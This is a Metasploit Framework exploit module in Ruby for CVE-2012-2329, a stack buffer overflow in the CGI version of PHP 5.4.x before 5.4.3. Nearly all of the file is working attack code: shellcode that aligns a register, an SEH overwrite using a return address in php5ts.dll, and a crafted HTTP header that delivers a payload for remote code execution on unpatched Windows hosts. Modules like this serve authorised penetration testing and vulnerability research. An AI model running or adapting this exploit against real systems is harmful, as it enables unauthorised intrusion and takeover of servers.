PHP apache_request_headers Function Buffer Overflow

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'PHP apache_request_headers Function Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack based buffer overflow in the CGI version of PHP
    5.4.x before 5.4.3. The vulnerability is due to the insecure handling of the
    HTTP headers.

     This module has been tested against the thread safe version of PHP 5.4.2,
    from "windows.php.net", running with Apache 2.2.22 from "apachelounge.com".
   },
   'Author'         =>
    [
     'Vincent Danen', # Vulnerability discovery
     'juan vazquez', # Metasploit module
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2012-2329'],
     [ 'OSVDB', '82215'],
     [ 'BID', '53455'],
     [ 'URL', 'http://www.php.net/archive/2012.php#id2012-05-08-1' ],
     [ 'URL', 'http://www.php.net/ChangeLog-5.php#5.4.3'],
     [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=820000' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'       => 1321,
     'DisableNops' => true,
     'BadChars'    => "\x00\x0d\x0a\x5f\x80\x8e\x9e\x9f" + (0x41..0x5a).to_a.pack("C*") + (0x82..0x8c).to_a.pack("C*") + (0x91..0x9c).to_a.pack("C*"),
     'EncoderType' => Msf::Encoder::Type::NonUpperUnderscoreSafe,
     'EncoderOptions' =>
      {
       'BufferOffset' => 0x0
      }
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows XP SP3 / Windows 2003 Server SP2 (No DEP) / PHP 5.4.2 Thread safe',
      {
       'Ret'    => 0x1002aa79, # ppr from php5ts.dll
       'Offset' => 1332
      }
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'May 08 2012'))

  register_options(
   [
    OptString.new('TARGETURI', [true, 'The URI path to the php using apache_request_headers', '/php/test.php']),
   ], self.class)

 end

 def exploit
  print_status("Trying target #{target.name}...")

  # Make ECX point to the start of the encoded payload
  align_ecx = "pop esi\n" # "\x5e"
  esi_alignment = target['Offset'] + # Space from the start of align_ecx to nseh handler
   8 + # len(nseh + seh)
   5 - # len(call back)
   11 # len(align_ecx)
  align_ecx << "add esi, -#{esi_alignment}\n" # "\x81\xC6" + 4 bytes imm (ex: "\xCA\xFA\xFF\xFF")
  align_ecx << "sub ecx, ecx\n" # "\x29\xC9"
  align_ecx << "add ecx, esi" # "\x01\xf1"
  sploit = Metasm::Shellcode.assemble(Metasm::Ia32.new, align_ecx).encode_string
  # Encoded payload
  sploit << payload.encoded
  # Padding if needed
  sploit << rand_text(target['Offset']-sploit.length)
  # SEH handler overwrite
  sploit << generate_seh_record(target.ret)
  # Call back "\xE8" + 4 bytes imm (ex: "\xBF\xFA\xFF\xFF")
  sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['Offset']+8}").encode_string
  # Make it crash
  sploit << rand_text(4096 - sploit.length)

  print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")

  res = send_request_cgi({
   'uri'          => target_uri.to_s,
   'method'       => 'GET',
   'headers'      =>
   {
    "HTTP_X_#{rand_text_alpha_lower(4)}" => sploit,
   }
  })

  if res and res.code == 500
   print_status "We got a 500 error code. Even without a session it could be an exploitation signal!"
  end

  handler
 end
end